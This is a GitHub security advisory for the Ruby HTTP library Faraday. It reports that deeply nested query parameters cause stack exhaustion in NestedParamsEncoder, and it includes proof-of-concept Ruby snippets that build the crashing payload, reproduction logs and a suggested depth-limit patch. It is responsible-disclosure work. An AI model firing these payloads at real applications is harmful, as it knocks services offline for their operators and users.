GHSA-98m9-hrrm-r99r
Faraday: Uncontrolled recursion in NestedParamsEncoder allows stack exhaustion DoS via deeply nested query parameters
Details
# Uncontrolled Recursion in NestedParamsEncoder Allows Stack Exhaustion DoS via Deeply Nested Query Parameters
## Summary
`Faraday::NestedParamsEncoder`, the default nested query parameter encoder/decoder in Faraday, decodes nested query strings without enforcing a maximum nesting depth.
A crafted query string such as:
```text a[x][x][x][x]...[x]=1 ```
causes Faraday to build a deeply nested Ruby `Hash` structure. The internal `dehash` routine then recursively walks this attacker-controlled structure without a depth limit. At sufficient depth, Ruby raises an uncaught `SystemStackError` (`stack level too deep`), crashing the calling thread or worker.
This can lead to denial of service in applications that pass attacker-controlled query strings to Faraday's nested query parsing or URL-building paths.
## Affected Product
- Product: Faraday - Repository: https://github.com/lostisland/faraday - Tested version: `v2.14.2-2-g59334e0` - Tested commit: `59334e0e9b19` - Ruby version: `ruby 3.2.3` - Tested component: `Faraday::NestedParamsEncoder` / `Faraday::Utils.parse_nested_query` - Date tested: `2026-05-24`
## Vulnerability Type
- Denial of Service - Uncontrolled Recursion - Stack Exhaustion
## Preconditions
An application must pass attacker-controlled or attacker-influenced query strings to one of Faraday's nested parameter parsing/building paths.
Confirmed reachable paths include:
1. Direct use of the public utility:
```ruby Faraday::Utils.parse_nested_query(untrusted_query_string) ```
2. Normal Faraday request URL building:
```ruby conn = Faraday.new('https://api.example.com') conn.build_url("/search?#{untrusted_query_string}") ```
In the second case, the crash occurs during URL construction before any network request is sent.
## Impact
A relatively small query string can trigger a `SystemStackError` and crash the calling Ruby thread or worker.
In my local test environment, a payload of approximately 9.4 KB was sufficient:
```text depth=3119 bytes=9360 result=SystemStackError message="stack level too deep" ```
Repeated requests with such payloads may cause a denial of service against applications whose request path forwards, parses, or rebuilds attacker-controlled query strings through Faraday.
This issue does not provide remote code execution, authentication bypass, or data disclosure. The confirmed impact is availability loss.
## Technical Details
Faraday supports nested query parameters such as:
```text user[name]=alice&user[roles][]=admin ```
which are decoded into nested Ruby structures.
However, Faraday also accepts arbitrarily deep nesting such as:
```text a[x][x][x][x][x][x]...[x]=1 ```
This creates a deeply nested structure similar to:
```ruby { "a" => { "x" => { "x" => { "x" => { "x" => ... } } } } } ```
The recursive `dehash` routine then walks the structure without a maximum depth check.
Affected file:
```text lib/faraday/encoders/nested_params_encoder.rb ```
Relevant logic:
```ruby def dehash(hash, depth) hash.each do |key, value| hash[key] = dehash(value, depth + 1) if value.is_a?(Hash) end # ... end ```
Although the function accepts a `depth` argument, the value is not used to enforce a maximum depth. Therefore, recursion depth is fully controlled by the input query string.
## Proof of Concept
### PoC 1: Direct parser crash
```ruby require 'faraday'
payload = "a#{'[x]' * 3119}=1" Faraday::Utils.parse_nested_query(payload) ```
Observed result:
```text SystemStackError: stack level too deep ```
### PoC 2: Normal URL-building crash
```ruby require 'faraday'
conn = Faraday.new('https://api.example.com') payload = "/search?a#{'[x]' * 3500}=1" conn.build_url(payload) ```
Observed result:
```text SystemStackError ```
No network request is required; the crash occurs during URL construction.
## Local Reproduction Results
The issue was reproduced locally against Faraday commit `59334e0e9b19`.
Environment:
```text ruby 3.2.3 faraday v2.14.2-2-g59334e0 commit 59334e0e9b19 ```
### Full PoC result
```text == (A) DEEP nesting -> dehash recursion / stack exhaustion == depth=100 parse=0.0003s OK depth=1000 parse=0.0034s OK depth=5000 *** SystemStackError (stack overflow DoS): SystemStackError depth=20000 *** SystemStackError (stack overflow DoS): SystemStackError depth=100000 *** SystemStackError (stack overflow DoS): SystemStackError
== (B) WIDE numeric keys -> dehash sort + numeric-key scan per level == N=1000 parse=0.0093s N=10000 parse=0.1053s N=50000 parse=0.4992s N=100000 parse=1.1242s
== (C) MANY array pushes a[]&a[]&... == N=1000 parse=0.0048s N=10000 parse=0.0614s N=50000 parse=0.2915s N=100000 parse=0.5403s ```
### Minimal depth test
```text depth=100 bytes=303 result=OK depth=1000 bytes=3003 result=OK depth=2500 bytes=7503 result=OK depth=3000 bytes=9003 result=OK depth=3119 bytes=9360 result=SystemStackError message="stack level too deep" depth=3500 bytes=10503 result=SystemStackError message="stack level too deep" depth=5000 bytes=15003 result=SystemStackError message="stack level too deep" ```
### URL-building test
```text build_url depth=100 bytes=311 result=OK build_url depth=1000 bytes=3011 result=OK build_url depth=3500 bytes=10511 result=SystemStackError build_url depth=8000 bytes=24011 result=SystemStackError ```
These results confirm that both direct parsing and normal Faraday URL construction can trigger the stack exhaustion condition.
## Expected Behavior
Faraday should reject excessively deep nested query parameters with a controlled and rescuable exception.
For example, behavior similar to Rack's parameter depth limit would prevent stack exhaustion:
```text Faraday::Error: Exceeded the maximum allowed nested parameter depth ```
## Actual Behavior
Faraday recursively processes attacker-controlled nesting depth and eventually raises:
```text SystemStackError: stack level too deep ```
This exception indicates stack exhaustion and can crash the calling worker/thread.
## Suggested Fix
Add a configurable maximum nesting depth to `Faraday::NestedParamsEncoder`, similar to Rack's `param_depth_limit`.
Suggested behavior:
- Set a default maximum depth, for example `100`. - Reject keys whose subkey chain exceeds the maximum depth. - Raise a normal `Faraday::Error` or another controlled exception rather than allowing Ruby stack exhaustion.
Example patch concept:
```ruby module Faraday module NestedParamsEncoder class << self attr_accessor :sort_params, :array_indices, :param_depth_limit end
@param_depth_limit = 100 end end ```
Then in `decode_pair`:
```ruby subkeys = key.scan(SUBKEYS_REGEX) if param_depth_limit && subkeys.length > param_depth_limit raise Faraday::Error, "Exceeded the maximum allowed nested parameter depth of #{param_depth_limit}" end ```
A local patch implementing this approach was tested. With the patch applied:
- The crash payloads raise a controlled `Faraday::Error` instead of `SystemStackError`. - Normal nested query parsing still works. - Existing encoder/utils tests passed in the local test set:
```text 42 examples, 0 failures ```
## Security Policy Fit
Faraday's `SECURITY.md` states that the `2.x` branch is supported for security updates and that vulnerabilities should be reported privately.
This issue was reproduced on the current tested `2.x` codebase:
```text v2.14.2-2-g59334e0 commit 59334e0e9b19 ```
The report is intended for private disclosure through GitHub Security Advisories and should not be opened as a public issue before maintainer triage.
## Related Public Discussions / Duplicate Check
I searched the public issue tracker, pull requests, changelog, and GitHub Advisory Database for similar reports using terms including:
```text NestedParamsEncoder parse_nested_query SystemStackError stack level too deep param_depth_limit nested parameter depth Uncontrolled recursion CWE-674 dehash depth parse_nested_query depth ```
I did not find a public report or fix for this specific `NestedParamsEncoder` depth-limit / `SystemStackError` denial-of-service issue.
The closest unrelated public items I found were:
- `lostisland/faraday#1107` — `Infinite recursion (SystemStackError) on load when running with -rdebug with breakpoints` - This appears unrelated to nested query parameter parsing and `Faraday::NestedParamsEncoder`. - `GHSA-33mh-2634-fwr2` / `CVE-2026-25765` - This concerns a protocol-relative URL / host override issue and does not address nested query parameter recursion or depth limiting.
Repo-local checks also found no existing `param_depth_limit` or equivalent mitigation in `lib/faraday/encoders/nested_params_encoder.rb`.
## Severity
Suggested severity: **Medium**
Rationale:
- The attack can be triggered over the network in applications that pass attacker-controlled query strings into Faraday's parsing/building paths. - The payload is small enough to be practical, approximately 9.4 KB in the local reproduction. - No authentication or user interaction is required in affected application patterns. - The confirmed impact is availability only.
Because Faraday is a library, the exact severity depends on how an application exposes the affected parsing/building path to attacker-controlled input. If the maintainers prefer conservative scoring for library reachability, the availability impact could be adjusted accordingly.
## Notes
This report does not claim remote code execution, authentication bypass, or information disclosure.
The confirmed issue is an uncontrolled-recursion denial of service condition caused by missing nesting-depth enforcement in Faraday's nested parameter decoder.
No third-party live services were tested. Reproduction was performed only in a local lab environment.
## Reporter
Reported by: Emre Koca
Please let me know if you need additional reproduction details, logs, or a patch proposal.
Are you affected?
Enter the version of the package you're using.